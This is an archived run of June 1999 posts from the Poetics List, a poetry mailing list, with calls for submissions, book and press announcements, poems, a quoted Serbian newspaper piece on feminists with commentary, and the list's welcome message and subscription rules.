Call for Submissions to HOW2's Forum on Class and Poetics

Visit HOW2 at:
http://www.departments.bucknell.edu/stadler_center/how2/index.html

Thanks to the efforts of feminist poets, critics, and editors, it is now possible to identify a discourse--both scholarly and creative--of gender and poetics. In the 1980s, journals such as HOW(ever) put the spotlight on these issues, particularly related to innovative or

experimental practices and how these intersected with issues of publication, erasure, and canon formation.

A decade later, we find ourselves trying to define a vocabulary for addressing complex issues of class in the formation of an innovative poetics. As Kathy Lou Schultz asked in her Tripwire (Issue 1, Fall 1998) essay, "What's a working class poetic, and where could I find one?" How do we make present the _absence_ of class in discussions of gender and the poetics of innovation? Where are the intersections of race in discussions of class? How are these forces fused and CON-fused?

How do/can we picture/trace working class issues in formally innovative ways? What do the circumstances of literary production--surrounding writers and the writing produced--have to do with one another?

Submissions should be emailed to: [redacted] by July 7th and be no longer than 2 paragraphs. We will select and edit responses.

Editors: Kathy Lou Schultz and Robin Tremblay-McGaw

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184. Poetics List

women's writing / dubravka

Mon 14 Jun 1999

---

had to reformat this. Chris

From: "dubravka" <[redacted]>
Date: Sun, 13 Jun 1999 22:43:56 -0700

"Women's writing" - an interesting view
or who was loyal and how is betrayer?

Yesterday, June 12, 1999, in main official daily newspaper, within regular Cultural Supplement, a text titled "Women's Writing", put under quotation marks, by a locally important journalist appeared. Here are some extracts:

"The fact is: every NATO hawk-general was 'mother Mara' in comparison to feminists! Because - let, start from here - almost all feminists supported aggression against Yugoslavia. By doing this, they confirmed - do they - their specificity inside the international community of intellectuals. Among those who passionately plead for "final solution" were even Serbian women, as well as

those who are married to Serbs. The names are not important. What feminist pro "destruction" of this part of Balkan make distinguished - and important - is that only they in their "war discourse" operate with the factor of collective guilty. (...) Why feminists hate Serbs? Who said this? It is only as if their (feminist) belief in collective guilty justifies (their) plead for more bombs per one head of local citizens. (...) It is difficult to see any difference between the pro femina moral excuse for unique humanitarian catastrophe, that is, as they say, provoked by collective guilty of whole Serbian people, (...) We all know how their orgy finished. And we know the horrifying price of "feminist's" obsession."

commentary: Mara - short of Marija newspapers are printed in cyrillic letters (which is traditional Serbian letters), and pro and pro femina are written in latin letters. during last 9 years there was the difference between oppositional and official print. almost all official presses or magazines for culture are in cyrillic letters, and oppositional in latin. but besides political reasons, there is another, practical, reason - that latinic is readable in all part of former Yugoslavia, and these connections are important for some of us... 'pro femina' magazine become symbol of feminisam in Serbia - interesting...

↑ Index

185. **rebecca wolff**
party reminding
Mon 14 Jun 1999

I invited you to our party such a long time ago that I thought I'd better invite you all over again:

That's the party for Fence #3

Thursday, the 17th, 8pm
533 Canal Street, #3, New York City

(1/9 to Canal, walk towards the Hudson)

$5

↑ Index

186. **Maria Damon**
Re: current list stats
Tue 15 Jun 1999

At 12:26 PM +0400 6/12/99, Maria L. Zavialov wrote:
>Hey, there is one from Russia. Put me between Poland and Singapore.
>Masha Zavialova, St. Petersburg

yeah, chris, i was wondering about that. thanks for speaking up, masha!

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187. hofermr
Interlope magazine/ Summi Kaipa
Tue 15 Jun 1999

Hello all,

Jen Hofer has been kind enough to lend me her email while in this transitory moving period.

New contact info for Interlope magazine and me:

Summi Kaipa &
Interlope
P.O. Box 423058
San Francisco, CA 94142-3058

Same email for the time being.

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188. Poetics List
stats clarification
Tue 15 Jun 1999

> *Hey, there is one from Russia. Put me between Poland and Singapore.*
> *Masha Zavialova, St. Petersburg*

Sorry, Masha, to have neglected Russia. Our stats
are generated automatically by the listserv program,
which, as one might expect of software from the U.S.,
is quietly imperialistic; any domain that does not
end in a country code [e.g., CA for Canada] is treated
by the program as a U.S. territory.

cheers, Chris

% Christopher W. Alexander
% poetics list moderator

↑ Index

189. A H Bramhall
sideways from K Magee's Backchannel Request
Tue 15 Jun 1999

no soldier here. I'm listening to Grateful Dead, as it happens. I don't feel nostalgic as I hear it, so I guess it's okay. here is one place: I idolize music. but I have to write. I *infer* this, because I have done so, written, seriously since I was sixteen. I have been published once in that time, when a teacher, Robert Grenier, threw me into This3. mountains of the moon, dark star, etc. is publishing important? stumbling onto this list soon after getting Internet access opened doors to what seems nostalgic just as this old music (1969) could seem so. poetry as a sort of identity. I note a community or communication here, a provoked and provoking insistence to consider? something like that. it's been good. I've been on an island for years, tho I bought what books and mags I could (now can't). time for a swim. the questions were asked, before I could join here: what do you expect to give and what to get? jeez, I sweated them (did you?) but in the end I effectively signed a document saying this is capital P Poetry I'm interested in. you know, some feasibly modern White Goddess um rite or how you will have it. this isn't casual for me and, incompetent tho I may be, it never has been. face it: writing is easy. words are plentiful, the hand-eye thing with pen or keyboard can be mastered, just take some time to do it. boiling the commodity out, the career out, these having always been tripping points for me. Kevin (first name's okay?) used the word 'propaganda', which scares me. I mean the word does, or what I understand the word to carry. not for his politics but for what I bring. I mean that I'd be writing Walt Whitman crap, dilating to beat the band, if I didn't watch it, and I'm not all that enamoured of ole Walt to begin with. I'm speaking here because. well, the energy of the opportunity commits me? or I wanted Kevin (real Kevin, imagined one) to know that I'm across the street, scratching my head, maybe, but waving also. I say the same to everyone. I've felt some useful irritations. I don't want to argue, just once in a while pin something on the wall. yes, and confront these strange juxtapositions. Poetry doesn't need me, but I guess I need to need it. interesting, isn't it? that's what I 'm saying. AHB

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190. Poetics List
Welcome Message
Tue 15 Jun 1999

Welcome to the Poetics List & The Electronic Poetry Center

..sponsored by The Poetics Program, Department of English, College of Arts & Science, the State University of New York, Buffalo /// Postal Address: Poetics Program, 438 Clemens Hall, SUNY Buffalo, NY 14260

Poetics List Moderator: Christopher W. Alexander
Please address all inquiries to <[redacted]>.

Electronic Poetry Center: <http://epc.buffalo.edu>

= Contents =
1. About the Poetics List
2. Subscriptions
3. Submissions
4. Cautions
5. Digest Option
6. Temporarily turning off Poetics mail
7. "No Review" Policy
8. The Electronic Poetry Center (EPC)
9. Poetics Archives at EPC
10. Publishers & Editors Read This!

Above the world-weary horizons
New obstacles for exchange
arise Or unfold,
O ye postmasters!

1. About the Poetics List

The Poetics List was founded by Charles Bernstein in late 1993 with the epigraph above. Now in its second incarnation, the list carries over 600 subscribers, though all of these subscribers do not necessarily receive messages at any given time. A number of other people read the Poetics List via our web archives at the Electronic Poetry Center (see section 9 below).

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

increasing number of subscribers, we are no longer able to maintain the open format with which the list began. All submissions are reviewed by the moderator in keeping with the goals of the list, as articulated in this Welcome Message. We remain committed to this editorial function as a defining element of the Poetics List. Our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to

the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

For further information on posting to the list, see section 5 below. Publishers and series co-ordinators, see also section 10.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. See section 7 for details.

We recognize that other lists may sponsor other possibilities for exchange in this still-new medium. We request that those participating in this forum keep in mind the specialized and focussed nature of this project. For subscription information or to contact the editors, write to <[redacted]>.

---

2. Subscriptions

Subscriptions to the Poetics List are free of charge, but formal registration is required. We ask that when you subscribe you provide your real name, street address, email address, and telephone number. All posts to the list must provide your full real name, as registered. If there is any discrepancy between your full name as it appears in the "from" line of the message header, please sign your post at the bottom.

<[redacted]>. Your message should include all of the required information. Please allow several days for your new or re-subscription to take effect.

PLEASE NOTE: All subscription-related information and correspondence remains absolutely confidential.

To unsubscribe, send this one-line message, with no "subject" line to <[redacted]>:

*If you are having difficulty unsubscribing, please note: sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to continue to receive mail from the Poetics List. To avoid this problem, unsub using your old address, then return to your new address and send this one-line message, with no "subject" line to <[redacted]>:

Remember to replace "Phil Spillway" with your own name. If you find that it is not possible to unsub using your old address, please contact the editors at <[redacted]> for assistance.

*Eudora users: if your email address has been changed, you may still be able to unsubscribe without assistance. Go to the "Tools" menu in Eudora, select

"Options" and then select setup for "Sending Mail": you may be able to temporarily substitute your old address here to send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increased quota from your system administrator. (University subscribers may wish to argue that this subscription is part of your scholarly communication!) You might also consider obtaining a commercial account. In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply re-subscribe to the list (once your account problem has been resolved!) by sending this one-line message, with no "subject" line to <[redacted]>:

Remember to replace "Phil Spillway" with your own name.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address <[redacted]>. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Submissions

are reviewed by the editors in keeping with the goals of the list as articulated in this Welcome Message (see section 1). Please note that while this list is primarily concerned with poetics, messages relating to politics and political news or activism will also be considered. Feel free to query if you are uncertain as to whether a message is appropriate. All correspondence with the editors regarding submissions to the list remains confidential and should be directed to us at <[redacted]>.

We encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear. Such announcements constitute a core function of this list. Also welcome are other sorts of news, e.g., event reports, obituaries, and reading lists (annotated or not).

Queries may be posted to the list when deemed appropriate; we request that the posting subscriber assemble "highlights" from respondents' posts to be published to the list.

Solicited submissions (by subscribers or non-subscribers) may also appear on Poetics from time to time. The editors reserve the right to contact any subscriber regarding possible submissions.

Posts to the Poetics List should abide by the rules of "Fair Use" when quoting material for which the posting subscriber does not hold copyright. Please do not post to the list personal or "backchannel" correspondence, or other unpublished material, without the express permission of the author!

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment directly to that individual, and not to the list editors.

Send messages to the list directly to the list address:

<[redacted]>

Please do not send messages intended for posting to the list to our administrative address <[redacted]>.

When sending to the list, please send only "plain text". Note, however, there is no problem with sending clickable URLs in HTML format.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files. The use of "styled" text or HTML formatting in the body of email posts to the list appears not to be compatible with the the list's automatic digest program; as a result such messages disrupt the format of the Digest, even though this coding is readable for some subscribers who do not use the digest option.

Like all machines, the listserver will sometimes be down: if you feel your message has been delayed or lost, *please wait at least one day to see if it shows up*, then check the archive to be sure the message is not posted there; if you still feel there is a problem, you may wish to contact the editors at <[redacted]>.

As an outside maximum, we will accept for publication to Poetics no more than 5 messages a day from any one subscriber; in general, we expect subscribers to keep their post to less than 10-15 posts per month. Our goal is a manageable list (manageable both for moderators and subscribers) of twenty or fewer messages per day.

For further information or to contact the editors, please write to <[redacted]>.

---

4. Cautions

It may take up to a week or more to respond to your questions or to subscription requests or to handle any other editorial business or any nonautomated aspect of list maintenance.

Please do not publish list correspondence without the express permission of the author! Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

"Flame" messages will not be tolerated on the Poetics List. In this category are included messages gratuitously attacking fellow listees, also messages designed to "waste bandwidth" or cause the list to reach its daily limit. These messages are considered offensive and detrimental to list discussion. Please do not bother submitting such messages to the editor. Offending subscribers will receive only one warning message. Repeat offenders will be removed from the list immediately. Please do not put this policy to test!

---

5. Digest Option

The Listserve program gives you the option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option.

Send this one-line message, with no "subject" line to
<[redacted]>:

set poetics digest

You can switch back to individual messages by sending this message:

set poetics mail

NOTE!! Send these messages to "listserv" not to Poetics or as a reply to this Welcome Message!!

---

6. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail.

You can temporarily turn off your Poetics subscription by
sending this one-line message, with no "subject" line, to
<[redacted]>:

set poetics nomail

You may re-activate your poetics subscription by sending this one-line message, with no "subject" line, to the same address:

set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See section 8 below.)

---

7. "No Review" policy

For the safety and security of list subscribers, the "review" function of the Poetics List has been de-activated. Non-posting subscribers' email addresses will remain confidential. Please do not ask the list editors to give out subscriber addresses or other personal information.

---

8. What is the Electronic Poetry Center?

The World Wide Web-based Electronic Poetry Center is located at <http://epc.buffalo.edu>.

Our mission is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and around the world. The Center provides access to the burgeoning electronic resources in new poetries including RIF/T and many other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts and bibliographies, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

9. Poetics Archives at the EPC

Go to the Electronic Poetry Center <http://epc.buffalo.edu> and select the "Poetics" link from the opening screen. Follow the links to Poetics Archives. Or set your browser to go directly to <http://listserv.acsu.buffalo.edu/archives/poetics.html>.

You may browse the Poetics List archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

---

10. Publishers & Editors Read This!

PUBLISHERS & EDITORS: The Electronic Poetry Center listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible for our users and ENCOURAGE you to participate!

Send a list of your press/publications to
<[redacted]>, with the words EPC Press Listing in
the subject line.

You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable.

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs or backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

You might also want to send short announcements of new publications directly to the Poetics List as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME MSG

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191. Jason Nelson
weaving
Tue 15 Jun 1999

The Widowing Sound of Leaves

Don't question her numbers

because biology treats code as essential, without code
not yet understanding awareness. A pulp science

and x surrounds x in parentheses. The plus and minus

of the arrangement of closet hangers, as they
corral the clothing into clumps and entangled
assemblages, is edible. And hunger keeps us warm.

Count

this thread, a maze of developments, cotton
in its own accepting computation, engaged in the unfolding
line of protein or silicon and protein. A prosthesis

following one plus x cubed. The equal sign

of the one slipping billboard panel, peeling
down to reveal the colors of past advertisements,
cannot be consumed. And immediately poisons the panel.

Don't calculate her total

when the human essence is a function of possession,
and the function preexists the heart's ownership,
locating cognition in disparate parts. A Neuromancer

generating a series: zero, zero, one, zero. The brackets

contain the names written in a fogged shower door,
or scratched in soap on the bathtub's vinyl curve, just
before the water overrules. And rules never taste the same.

Ask

for models of subjectivity or prevent the multiple
ironies from being taken seriously. A prediction

renamed as zero to the third power plus one. The division

maintains the widowing sound of leaves when
a bike's wheels cross from cement to grass paths,
steering more from resistance than direction. And friction devours.

Don't answer her questions

about the desire of intelligence to reach steady states, about the rapid
entanglement of material displaced by thought or emotion and thought, about a
fixed center. An inscription

where n equals seven, when one follows n. The burst

of errors caused by science experimenting with ink,
and the way pens leak away through evaporation, colors
moving from a metal ball to paper or air. And paper digests itself.

React

is a code, lines generating additional reactions, encoded or decoded with coefficients and polynomials, used in the interface between bodies and the textual world, or only used. An image pneumonia

for a sequence: one over zero, one over zero,
seven over one over zero, one. The pattern

exists in bathroom tile, industrial for its own safety, attractive when covered with unclear liquids, attractive because our eyes need sharp angles to focus, and patterns to remind us of breathing. But designs will consume the handsome.

Don't regard her problems

as a flight simulator utilizing feed-back loops, interconnecting the relevant boundaries of simulation and circuitry, the random borders of surrogacy and affection. A coupling system

and a digit string in x and the burst of x plus n. The transmission

needs rain in warm weather, migrating puddles of grass
and asphalt and sand, moving not at the rate of wind, but the rate
of swing sets instead. And water is erosion is water.

Estimate

pulling a rabbit from a larger system, the potentially infinite regress of empathy and how close the body sidesteps desire, how close are magic and the observer. A recollection

raised by a factor of three degree vectors. The primitive

screen, wire mesh framed by metals slats, holding vision
in the small spaces between angles, separating the image of backyards
into disconnected sections: the root of all
worlds. And the source of all code.

Don't solve her equations

with hyphenated creatures, essentially human, colonized by numbers and the division of domination and ambiguity. A pulp science

and x contain zero, one, zero in no certain order. The plus and minus

of watching a bouncing plastic ball move from the hand
to sidewalk, its rebounds swayed by cracks, watching
its spinning colors stop at the equal sign. And be swallowed.

Invent

a reflexivity, a spin on the encoded assumption,
an intuitive leap from protein to cognition to digital
systems, blundered by organic order. A privileged

value dependent on the sum of one and x in parentheses
squared. The birth

of missing objects begins in the tangles of branches,
or in the jumbled cord where a paperclip holds dust close to the cables,
where leaving in two directions
leaves intentions behind. And purpose close to paper.

Don't make her into her.

She is the snow crash. Hers is a devolving inscription.

The prosthesis of equations. A guarantee

for the flickering lights.

Jason Nelson

_____ Get Free Email
and Do More On The Web. Visit http://www.msn.com

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192. jen hofer
query & note
Tue 15 Jun 1999

in attempting to shift my virtual life to a new system--note new e-mail address above--i lost all the e-mails sent to me in the past day or two. if anyone here knows how to contact alan prohm, please backchannel. thanks, jen.

↑ Index

193. aerialedge
New @ Bridge Street, Benjamin Sel Writings, Boundary 2, Howe, Mayer &&&
Wed 16 Jun 1999

THIS is a VERY good list of books. Thanks poetics for your support. Ordering & discount information at the end of the list.

1. _Selected Writings Volume 2: 1927 - 1934_, Walter Benjamin, Harvard, $37.50. An 850 page selection including many previously untranslated writings on figures such as Brecht, Valery, and Gide, and on subjects ranging from film, radio, and the novel to memory, kitsch, and the theory of language.

2. _Angelus Novus: Perspectives on Walter Benjamin, Critical Inquiry Winter 1999_, ed WJT Mitchell, $10. Winifried Menninghaus, Stanley Cavell, Shoshana Feldman, Rosalind E. Kraus, Fredric Jameson, Horst Bredekamp, Miriam Bratu Hansen, Geoffrey Hartman, & Gershom Sholem.

3. _Roaring Spring_, Steve Benson, Zasterle, $8. "a series of suns / explodes across / the play room"

4. _Boundary 2 Spring 1999: 99 Poets/1999: An International Poetics Symposium_, a special issue edited by Charles Bernstein, $12. Contributors include Adonis, Alferi, Aygi, Billitteri, Blaser, Brito, Brossard, Cobbing, Creeley, Curnow, Doris, Dragomoschenko, Edwards, Healy, Hejinian, Iskreko, Leggott, McCaffery, Mayrocker, Messerli, Mullen,O'Sullivan, Raworth, Robertson, Tejada, Waldrop, &&&.

5. _Integrity & Dramatic Life_, Anselm Berrigan, Edge, $10. "The whole time I lived in Buffalo / No one ever said lovely curious or extraordinary."

6. _Disarming Matter_, Edmund Berrigan, Owl Press, $12.50. "Mistakes are okay, but no one knows the differences as they are exact."

7. _Boggs: A Comedy of Values_, Lawrence Weschler, U Chicago, $22. What Boggs likes to do is draw money-- instead of selling his money drawings outright to interested collectors, Boggs looks for merchants who will accept his drawings in lieu of cash payment for their wares or services as part of elaborately choreagraphed transactions, complete with receipts and change-- an artistic practice that regularly lands him in trouble with treasury police around the globe.

8. _ConVERSations with Nathaniel Mackey_, Kamau Brathwaite, We Press & XCP, $20.

9. _Facture_, Miles Champion, The Figures, $8. "Water & wine to form an oblong cut-off / Or baffle at social what's / That is, in Hegalian terms, the scarf cigar"

10. _The Garden, A Thopahny or Eccohome A Dialectical Lyric_, Martin Corless-Smith, Spectacular Books, $6. "Know, whoever asks my name / that I am Line and go"

11. _Crayon 2_, ed Andrew Levy & Bob Harrison, $10. Special feature on Russell Atkins intro Julie Patton, Norman Fischer, Marianne Shaneen, Chad Faries, Jean Day, Steven Farmer, Brian Kim Stefans, Loss Glazier, Diane Ward, Fanny Howe, Melissa Ragona, Roberto Tejada, Tim Davis, Stephanie Barber, Rodrigo Toscano, Susan Gervitz, Hung Q. Tu, Susan Schultz, Leslie Scalapino, Steve Evans, Steve Dickinson, & Liz Waldner.

12. _Algebraic Melody_, Benjamin Friedlander, Zasterle, $7.50. "Amber hazards / Will / Commend the dreary / Whippoorwill"

13. _Jumping the Line_, Ted Greenwald, Roof, $12.95. "But why / Fell like telling / Lots of flame"

14. _The Forgetting of Air in Martin Heidegger_, Luce Irigiray, U Texas, $17.95. "No project, here. Merely this refuse to refuse oneself to what is perceived. Whatever distress or destitution might come of it."

15. _Pamela: A Novel_, Pamela Lu, Atelos, $12.95. "His self-similarity suggested the presence of a phenomenology absorbed in mysterious, microscopic processes of macroscopic scale, so that we were inclined to react to him as if to a natural event, and he was inclined to react to himself as a discovery waiting to happen."

16. _Pierce-Arrow_, Susan Howe, New Directions, $14.95. "four sides of double-octavo / sheet black-border notepaper / Never yours--Most sincerely / From the confines of poetry"

17. _Midwinter Day_, Bernadette Mayer, New Directions, $12.95. Back in print! "All said is dented love's saluted image / In the ending morning, nothing said is mean, / Perhaps it's too long, I'm only learning/ Along with love's warning/ To invent a song"

18. _Vext_, A.L. Nielsen, Sink, $10. "Strong simple sentences in which / Everything is recorded"

19. _Rhizome 3_, ed. Standard Schaefer & Evan Calbi, $10. Grinnell, Spatola, Bosquet, Martinez, Le Brun, Nepote, DiPalma, McVay, Roquette-Pinto, Phillips, Stroffolino, Ross, Albon, Lenero, Ronk, Dib, Guthrie, Hoover, Wagner, Ballerini, Bennett, Monnier, Hale, Grossman, Pagliarini, Britton, Swensen, Bruno, Osman, Goycolea, Lucas, K. Waldrop, Caples, Hofer, Vangelisti, Crosson, plus essays/reviews.

20. _Some Thing Black_, Jacques Roubaud, trans Rosmarie Waldrop, Dalkey Archive, $12.50. "Being quiet is no longer important at all."

21. _Protective Immediacy_, Rod Smith, Roof, $9.95. "the lurid shine interprets the signatures, keys, sharps & / half-lit lonely weirdos of nature"

22. _Stealer's Wheel_, Chris Stroffolino, Hard Press, $12.95. "even to recount it is to count on it as a kind of crutch / that's kindling for the fire of the present that is the community / in which an atom is always split / in order for some me to get to some you."

23. _Partisans_, Rodrigo Toscano, O Books, $10. "Oh that we could reel it in / just long enough / to alter / its operation . . ."

24. _Politics of the Very Worst_, Paul Virilio, Semiotext(e), $8. "From now on, you have to choose your belief: either you believe in technoscience, in which case you're a supporter of technical fundamentalism -- or you believe in the god of transcendence. Claiming to be an atheist is an illusion."

25. _Nouns Swarm A Verb_, Chris Vitiello, Xurban Books, $10. "Two governments fall in love with each others laws. All islands are discovered to be laws on fire."

26. _Overtime: Selected Poems_, Philip Whalen, intro Leslie Scalapino, Penguin, $16.95. "Some day I guess I'll never learn."

Some Recent Bestsellers:
Girls on the Run, John Ashbery, FSG, $20.
Polyverse, Lee Ann Brown, Sun & Moon, $11.95.
My Way: Speeches and Poems, Charles Bernstein, $18.
Sight, Lyn Hejinian & Leslie Scalapino, Edge, $12.
Faith, Katherine Lederer, Idiom, $6.
Meadow, Tom Raworth, Post-Appollo, $7.
New Time, Leslie Scalapino, Wesleyan, $11.95.
New & Selected Poems, Charles North, $12.95
Daybook of a Virtual Poet, Robert Creeley, $12.
Tales of Murasaki & Other Poems, Martine Bellen, $10.95.
True, Rae Armantrout, $12.95

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

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194. **maz881**
Re: sideways_from_K_Magee's_Backchannel_Request
Wed 16 Jun 1999

---

dear A.H.

please define island.

B.L.

<< I've been on an island for
years >>

↑ Index

195. R Democracy
Re: urgent! Cheap sublet with kitties!
Wed 16 Jun 1999

Hey list folk!

I am looking for a serious cat lover to live from July 2 through August 2 in my sunny sweet, two room Prospect Heights apartment, across from the Brooklyn Museum, Botanical Gardens, Central Library, Prospect Park. Yes that's it, I live on Eastern Parkway, The Champs Elysees de Nueva York!

It is subsidized for the most eager kittie lover. Trust me it's a deal.

Back channel--Rachel Democracy.

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196. Catherine Daly
Perihelion
Wed 16 Jun 1999

I would like to apologise to this list for the _Perihelion_ posts.

I am writing this short e-mail to let you know that 1) Perihelion is not

open to unsolicited submissions and 2) I am no longer soliciting poetry submissions on its behalf.

I am sending separate messages to those of you who had generously responded to my call with work. Poems may remain under consideration by the editor-in-chief, Rebecca Seiferle, or may be rejected separately.

Well, it was a learning experience.

Regards,
Catherine Daly
[redacted]

↑ Index

197. Peter Ganick
special offer to Poetics listmembers
Wed 16 Jun 1999

Potes & Poets Press has re-issued five long out-of print L=A=N=G=U=A=G=E poetry classics in chapbook form.

They were originally published in 1981-2 as the first pub- lications by the Press. They will become available through SPD in about three weeks at $8.00 each, but to listmembers, all 5, fourth-class postage paid, are $30. Check payable to 'Potes & Poets Press.'

TITLES:

Ex-Communicate, Bruce Andrews
disfrutes, Charles Bernstein
A Geology, Clark Coolidge
B A R T, Ron Silliman
Nijole's House, Hannah Weiner

send check in US funds to:
Potes & Poets Press
181 Edgemont Avenue
Elmwood CT 06110-1005

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198. Peter Ganick
POTEPOETZINE / POETPOETTEXT
Wed 16 Jun 1999

These ezines continue in their current manifestation which is to publish experimental and radical texts online only. Subscriptions are free and may be obtained by send any sort of email to: [redacted]

Currently, the TEXT series is publishing email collaborations and would certainly be interested in finding other interesting online documents [in ascii-only format] to publish, whether collaborative or individualistic. Also, the ZINE series is always open to writers who wish to send 2 or 3 shorter poems, or one semi-long poem.

These ezines are published by Potes & Poets Press. The Press also has published A.BACUS since 1984, eight times a year. Look for an important announcement regarding that print-journal on this list soon.

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199. Elizabeth Treadwell
Lynne Tillman and Joel Kuszai
Wed 16 Jun 1999

Oh hello, 2 part msg pls--

--Part A--

I'd like to re-announce that Double Lucy's latest chapbook, a novella,

LOVE SENTENCE by Lynne Tillman,

is available now for $6, a lovely shade of red, and a cover photo by James Welling. Checks to Me, miss moi, that is, E. Treadwell.

We also have copies of a second printing of

OUTLET (3) Ornament

still available, with work by

Franklin Bruno
MTC Cronin
Malcolm de Chazal
(translated by Irving Weiss)
MK Francisco
Rosemary Griggs
Brenda Iijima
Johanna Isaacson
Jason Lynn
Laura Moriarty
Yedda Morrison
Jason Nelson
Elizabeth Robinson
Carol Treadwell
Harriet Zinnes

+ REVIEWS

& checks still to me. (!)

(Excerpts from both pubs, and previous pubs, now appearing on our website)

*****

--Part B--

& PS:
Also-- seeking Joel Kuszai, who seems on vacation from the work email I have for him?....

Thanks,

Elizabeth Treadwell

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/dblelucy

↑ Index

200. Alan Sondheim

TONGUE

Wed 16 Jun 1999

'\'

TONGUE

"Make clear my tongue, my Salvation,
And open Thou my mouth."

(Unknown Serbian poet, 13th century, from Predrag R. Dragic Kijuk, Medi-aeval and Renassance Serbian Poetry.)

The Lord Jesus is healing and helping people. Would you let me heal you. Would you let me pray for you. This one just came up, suffering from extreme depression and anxiety, couldn't even leave the house, I want to administer to every person, the demon wouldn't let her leave the house. We're going to pray some more. This job is extra increase. I'm hearing 5 or 8 hundred extra dollars per month. Thank you Lord. Thank you Jesus. Get in agreement with this word of knowledge. When I pray in a moment I'm going to administer in this area of a job. Any incurable disease? Don't just sit there. I'm going to pray in the area of incurable disease. Don't just sit there. Quit sitting there. Let me minister to you. Do something. Oh yes. There's that job again. There's another person that needs a better job. There's one on the streets right now looking for a better job. Just received news that the current cancer tests are negative. Halleluja. We're conquering in the name of Jesus. There's a Deuteronomy 9 that says we're going to cross into all that we have for us. I'm going to conquer it for you so that when you enter in you can subdue it and enter quickly. We're taking from the hands of the Devil what belongs to us. He was persistent. I want it. It's mine. Wake up that new home. Wake up that new job. I'm speaking the home. I'm speaking the word home. I'm speaking the job. I'm speaking the word job. I'm speaking the word. I'm speaking the Word. I'm speaking the Word Word. I'm speaking the Word Word Word. I'm speaking the Word Word Word W W. I'm speaking the W. I'm speaking the W W W. I'm speak- ing W W W. I'm W W W. I'm W W W W W. I'm W W W W W W W W W. I'm W W W W W W W W W W W W W W W W. I'm W W W W W W W W W W W W W W W W W W W W W W W W W.

NIKUKO WILL HEAL ANYONE. NIKUKO RIDES A WHITE HORSE. THE WHITE HORSE IS NOT A HORSE. NIKUKO RIDES EXISTENCE, STARVES IT TO DEATH. EXISTENCE DIES AND WORDS TURN TO THE SOUND OF THE WIND AND THE WIND DIES TOO.

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201. David Baratier

The First Annual Transcontinental Poetry Contest

Thu 17 Jun 1999

The First Annual Transcontinental Poetry Contest
by Pavement Saw Press

Each year Pavement Saw Press will seek to publish at least one book of poetry and/or prose poems from manuscripts received during this competition. Selection is made anonymously through a competition that is open to anyone who has not previously published a volume of poetry or prose. The author receives $1000 and a percentage of the press run. The judge of the competition is Bin Ramke.

All poems must be original, all prose must be original, fiction or translations are not acceptable. Writers who have had volumes of 40 pages or under printed or printed in limited editions of no more than 500 copies are eligible.

Submissions are accepted from June 1 until August 15 .

Entries must meet these requirements:

1. The manuscript should be at least 48 pages and no more than 64 pages in length.

2. A cover letter which includes a brief biography, the book's title, your name, address, and telephone number, your signature, and, if you have e-mail, your e-mail address. It should also include a list of acknowledgments for the book.

3. The manuscript should be bound with a single clip and begin with a title page including the book's title, your name, address, and telephone

number, and, if you have e-mail, your e-mail address. Submissions to the

contest are judged anonymously.

4. The second page should have only the title of the manuscript. There are to be no acknowledgments or mention of the author's name from this page forward.

5. A table of contents should follow the second title page.

6. The manuscript should be paginated, beginning with the first page of poetry.

7. There should be no more than one poem on each page. The manuscript can
contain pieces that are longer than one page.

Your manuscript should be accompanied by a check in the amount of $15.00

